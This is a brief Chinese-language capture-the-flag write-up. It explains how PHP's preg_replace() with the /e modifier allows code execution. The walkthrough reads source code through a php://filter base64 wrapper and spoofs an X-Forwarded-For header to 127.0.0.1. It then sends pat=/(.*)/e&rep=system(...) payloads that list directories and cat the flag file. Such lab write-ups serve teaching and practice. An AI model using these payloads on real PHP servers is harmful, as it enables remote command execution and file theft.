preg_replace()特殊匹配模式造成命令执行
漏洞成因:preg_replace()函数的功能为替换正则匹配的字符
Eg:
$slug = preg_replace('/[^a-z0-9-]/', '', $string);
正则替换,把$string中所有非小写字母或数字的字符给替换成空'',
就是删除非小写字母或数字的其他字符。
漏洞:
有一个/e模式加一个/e会造成任意命令执行
题目:
打开之后,打开设备维护中心:
发现点击云平台设备维护中心几个字url会发生变化
会将传入的参数显示出来,这里可以使用伪协议进行读取源代码:
payload为
Php://filter/read=convert.base64-encode/resource=index.php
得到index.php的源代码有了代码泄露,进行代码审计
关键代码(存在漏洞的地方为)
首先要加一个X_Forwaeded_For:127.0.0.1进行匹配进入preg_replace()函数
然后传递参数
?pat=/(.*)/e&rep= system(‘ls’)&sub=test
得到
然后得到文件路径
再进入?pat=/(.*)/e&rep= system(‘ls+s3chahahaDir’)&sub=test
发现flag文件夹
?pat=/(.*)/e&rep= system(‘ls+s3chahahaDir/falg’)&sub=test
发现flag.php
之后用cat 指令读取
?pat=/(.*)/e&rep= system(‘cat+s3chahahaDir/falg/flag.php’)&sub=test
得到flag